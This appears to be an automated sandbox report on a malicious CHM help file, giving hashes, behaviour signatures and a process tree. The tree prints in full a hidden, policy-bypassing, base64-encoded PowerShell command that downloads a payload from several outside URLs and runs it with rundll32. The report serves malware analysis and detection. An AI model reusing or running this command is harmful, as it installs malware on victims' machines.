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Analysis

  • max time kernel
    145s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20230220-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20230220-enlocale:en-usos:windows10-2004-x64system
  • submitted
    21/04/2023, 14:11

General

  • Target

    README-pZS6503.chm

  • Size

    14KB

  • MD5

    ca6ad5ab3957aa103dd2cfd3168cc71b

  • SHA1

    342d359f3a1600083b4f73f9c1c773622caa3857

  • SHA256

    2733e6c3a7b6209f42f7f0cd9d56abafdc34f331d2ccbb5e4916a7ac4b16ac32

  • SHA512

    ebc284d1f58a359d134a6342b6d07dacdb6e30453d7708ee7aa963b39219cfd1ce073aa68ba206572418ce42c2b4d995c82c771f1f4c1674c937f7a774f3dad3

  • SSDEEP

    96:MV/veDPCotsVtkTwy/v0TKjmfC06fIhQK3od5o0TZ386X1pYw5aajiG:Mh7tkTwy/vB6KhIhQK3odpR86lS6j5

Score
8/10

Malware Config

Signatures

  • Blocklisted process makes network request 8 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Windows\hh.exe
    "C:\Windows\hh.exe" C:\Users\Admin\AppData\Local\Temp\README-pZS6503.chm
    1⤵
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:5052
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -NoLogo -NoProfile -encodedcommand UwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBTAGUAYwBvAG4AZABzACAANAA7ACQAdwBlAGwAZgBhAHIAaQBzAG0AIAA9ACAAKAAiAGgAdAB0AHAAcwA6AC8ALwBoAG8AdABlAGwAbABvAHMAbQBpAHIAdABvAHMALgBjAG8AbQAvAHMAagBuAC8ANwB0AHcATABFADUAbwBEAG0AMwA3ACwAaAB0AHQAcABzADoALwAvAGMAYQByAGwAYQBkAHYAbwBnAGEAZABhAHQAcgBpAGIAdQB0AGEAcgBpAGEALgBjAG8AbQAvAHQAdgBuAHEAOQAvAGIAMgBmAGYAUwBJAG8AMgBNAEUALABoAHQAdABwAHMAOgAvAC8AYwBpAHQAeQB0AGUAYwBoAC0AcwBvAGwAdQB0AGkAbwBuAHMALgBjAG8AbQAvADYATQBoADEAawAvAEEANwBxADEAYwBPAGsAVAAwAHgASQAsAGgAdAB0AHAAcwA6AC8ALwBlAHIAZwAtAGUAZwAuAGMAbwBtAC8AbwBjAG0AYgAvAFgANQBFAGUAegBiAEwAOABZAFAALABoAHQAdABwAHMAOgAvAC8AegBhAGkAbgBjAG8ALgBuAGUAdAAvAE8AZABPAFUALwBkAFoATgBDAE0AeABxAGQAVABWAHMAWAAsAGgAdAB0AHAAcwA6AC8ALwBtAHIAYwByAGkAegBxAHUAbgBhAC4AYwBvAG0ALwBMADcAYwBjAE4ALwBiAHEAaQBmAFYAbAA1AFoAWABsADEASQAsAGgAdAB0AHAAcwA6AC8ALwBnAHMAcwBjAG8AcgBwAG8AcgBhAHQAaQBvAG4AbAB0AGQALgBjAG8AbQAvAG8AawBTAGYAagAvAEgAZwBFAEcAUgBEAEQAUwA2AGEAOAAsAGgAdAB0AHAAcwA6AC8ALwBuAGEAeQBhAGQAbwBmAG8AdQBuAGQAYQB0AGkAbwBuAC4AbwByAGcALwB3AFgAYQBLAG0ALwBnAG0AYwBBAEEAaQBoAGYAVwByAGcAIgApAC4AcwBwAGwAaQB0ACgAIgAsACIAKQA7AGYAbwByAGUAYQBjAGgAIAAoACQAdAByAGEAZABpAHQAaQBvAG4AaQBzAG0AIABpAG4AIAAkAHcAZQBsAGYAYQByAGkAcwBtACkAIAB7AHQAcgB5ACAAewB3AGcAZQB0ACAAJAB0AHIAYQBkAGkAdABpAG8AbgBpAHMAbQAgAC0AVABpAG0AZQBvAHUAdABTAGUAYwAgADEANgAgAC0ATwAgACQAZQBuAHYAOgBUAEUATQBQAFwAYgBhAGwAbABvAG4AZQAuAEIAbwB1AGMAaABlAGUASQBuAGQAbwBnAGUAbgBpAGQAZQA7AGkAZgAgACgAKABHAGUAdAAtAEkAdABlAG0AIAAkAGUAbgB2ADoAVABFAE0AUABcAGIAYQBsAGwAbwBuAGUALgBCAG8AdQBjAGgAZQBlAEkAbgBkAG8AZwBlAG4AaQBkAGUAKQAuAGwAZQBuAGcAdABoACAALQBnAGUAIAAxADAAMAAwADAAMAApACAAewBwAG8AdwBlAHIAcwBoAGUAbABsACAALQBXAGkAbgBkAG8AdwBTAHQAeQBsAGUAIABIAGkAZABkAGUAbgAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABCAHkAcABhAHMAcwAgAC0ATgBvAEwAbwBnAG8AIAAtAE4AbwBQAHIAbwBmAGkAbABlACAALQBlAG4AYwBvAGQAZQBkAGMAbwBtAG0AYQBuAGQAIAAiAGMAdwBCADAAQQBHAEUAQQBjAGcAQgAwAEEAQwBBAEEAYwBnAEIAMQBBAEcANABBAFoAQQBCAHMAQQBHAHcAQQBNAHcAQQB5AEEAQwBBAEEASgBBAEIAbABBAEcANABBAGQAZwBBADYAQQBGAFEAQQBSAFEAQgBOAEEARgBBAEEAWABBAEIAaQBBAEcARQBBAGIAQQBCAHMAQQBHADgAQQBiAGcAQgBsAEEAQwA0AEEAUQBnAEIAdgBBAEgAVQBBAFkAdwBCAG8AQQBHAFUAQQBaAFEAQgBKAEEARwA0AEEAWgBBAEIAdgBBAEcAYwBBAFoAUQBCAHUAQQBHAGsAQQBaAEEAQgBsAEEAQwB3AEEAVABRAEIAdgBBAEgAUQBBAFoAQQBBADcAQQBBAD0APQAiADsAYgByAGUAYQBrADsAfQB9AGMAYQB0AGMAaAAgAHsAUwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBTAGUAYwBvAG4AZABzACAANAA7AH0AfQA=
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4500
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -NoLogo -NoProfile -encodedcommand UwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBTAGUAYwBvAG4AZABzACAANAA7ACQAdwBlAGwAZgBhAHIAaQBzAG0AIAA9ACAAKAAiAGgAdAB0AHAAcwA6AC8ALwBoAG8AdABlAGwAbABvAHMAbQBpAHIAdABvAHMALgBjAG8AbQAvAHMAagBuAC8ANwB0AHcATABFADUAbwBEAG0AMwA3ACwAaAB0AHQAcABzADoALwAvAGMAYQByAGwAYQBkAHYAbwBnAGEAZABhAHQAcgBpAGIAdQB0AGEAcgBpAGEALgBjAG8AbQAvAHQAdgBuAHEAOQAvAGIAMgBmAGYAUwBJAG8AMgBNAEUALABoAHQAdABwAHMAOgAvAC8AYwBpAHQAeQB0AGUAYwBoAC0AcwBvAGwAdQB0AGkAbwBuAHMALgBjAG8AbQAvADYATQBoADEAawAvAEEANwBxADEAYwBPAGsAVAAwAHgASQAsAGgAdAB0AHAAcwA6AC8ALwBlAHIAZwAtAGUAZwAuAGMAbwBtAC8AbwBjAG0AYgAvAFgANQBFAGUAegBiAEwAOABZAFAALABoAHQAdABwAHMAOgAvAC8AegBhAGkAbgBjAG8ALgBuAGUAdAAvAE8AZABPAFUALwBkAFoATgBDAE0AeABxAGQAVABWAHMAWAAsAGgAdAB0AHAAcwA6AC8ALwBtAHIAYwByAGkAegBxAHUAbgBhAC4AYwBvAG0ALwBMADcAYwBjAE4ALwBiAHEAaQBmAFYAbAA1AFoAWABsADEASQAsAGgAdAB0AHAAcwA6AC8ALwBnAHMAcwBjAG8AcgBwAG8AcgBhAHQAaQBvAG4AbAB0AGQALgBjAG8AbQAvAG8AawBTAGYAagAvAEgAZwBFAEcAUgBEAEQAUwA2AGEAOAAsAGgAdAB0AHAAcwA6AC8ALwBuAGEAeQBhAGQAbwBmAG8AdQBuAGQAYQB0AGkAbwBuAC4AbwByAGcALwB3AFgAYQBLAG0ALwBnAG0AYwBBAEEAaQBoAGYAVwByAGcAIgApAC4AcwBwAGwAaQB0ACgAIgAsACIAKQA7AGYAbwByAGUAYQBjAGgAIAAoACQAdAByAGEAZABpAHQAaQBvAG4AaQBzAG0AIABpAG4AIAAkAHcAZQBsAGYAYQByAGkAcwBtACkAIAB7AHQAcgB5ACAAewB3AGcAZQB0ACAAJAB0AHIAYQBkAGkAdABpAG8AbgBpAHMAbQAgAC0AVABpAG0AZQBvAHUAdABTAGUAYwAgADEANgAgAC0ATwAgACQAZQBuAHYAOgBUAEUATQBQAFwAYgBhAGwAbABvAG4AZQAuAEIAbwB1AGMAaABlAGUASQBuAGQAbwBnAGUAbgBpAGQAZQA7AGkAZgAgACgAKABHAGUAdAAtAEkAdABlAG0AIAAkAGUAbgB2ADoAVABFAE0AUABcAGIAYQBsAGwAbwBuAGUALgBCAG8AdQBjAGgAZQBlAEkAbgBkAG8AZwBlAG4AaQBkAGUAKQAuAGwAZQBuAGcAdABoACAALQBnAGUAIAAxADAAMAAwADAAMAApACAAewBwAG8AdwBlAHIAcwBoAGUAbABsACAALQBXAGkAbgBkAG8AdwBTAHQAeQBsAGUAIABIAGkAZABkAGUAbgAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABCAHkAcABhAHMAcwAgAC0ATgBvAEwAbwBnAG8AIAAtAE4AbwBQAHIAbwBmAGkAbABlACAALQBlAG4AYwBvAGQAZQBkAGMAbwBtAG0AYQBuAGQAIAAiAGMAdwBCADAAQQBHAEUAQQBjAGcAQgAwAEEAQwBBAEEAYwBnAEIAMQBBAEcANABBAFoAQQBCAHMAQQBHAHcAQQBNAHcAQQB5AEEAQwBBAEEASgBBAEIAbABBAEcANABBAGQAZwBBADYAQQBGAFEAQQBSAFEAQgBOAEEARgBBAEEAWABBAEIAaQBBAEcARQBBAGIAQQBCAHMAQQBHADgAQQBiAGcAQgBsAEEAQwA0AEEAUQBnAEIAdgBBAEgAVQBBAFkAdwBCAG8AQQBHAFUAQQBaAFEAQgBKAEEARwA0AEEAWgBBAEIAdgBBAEcAYwBBAFoAUQBCAHUAQQBHAGsAQQBaAEEAQgBsAEEAQwB3AEEAVABRAEIAdgBBAEgAUQBBAFoAQQBBADcAQQBBAD0APQAiADsAYgByAGUAYQBrADsAfQB9AGMAYQB0AGMAaAAgAHsAUwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBTAGUAYwBvAG4AZABzACAANAA7AH0AfQA=
        3⤵
        • Blocklisted process makes network request
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2604

Network

MITRE ATT&CK Matrix

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_4oth1amn.sme.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • memory/2604-144-0x0000026B514A0000-0x0000026B514C2000-memory.dmp

    Filesize

    136KB

  • memory/2604-149-0x0000026B514D0000-0x0000026B514E0000-memory.dmp

    Filesize

    64KB

  • memory/2604-150-0x0000026B514D0000-0x0000026B514E0000-memory.dmp

    Filesize

    64KB

  • memory/2604-151-0x0000026B514D0000-0x0000026B514E0000-memory.dmp

    Filesize

    64KB

  • memory/2604-152-0x0000026B6A490000-0x0000026B6AC36000-memory.dmp

    Filesize

    7.6MB

  • memory/2604-154-0x0000026B50980000-0x0000026B51441000-memory.dmp

    Filesize

    10.8MB

  • memory/2604-155-0x0000026B514D0000-0x0000026B514E0000-memory.dmp

    Filesize

    64KB

  • memory/2604-156-0x0000026B514D0000-0x0000026B514E0000-memory.dmp

    Filesize

    64KB

  • memory/2604-157-0x0000026B514D0000-0x0000026B514E0000-memory.dmp

    Filesize

    64KB

  • memory/2604-163-0x0000026B50980000-0x0000026B51441000-memory.dmp

    Filesize

    10.8MB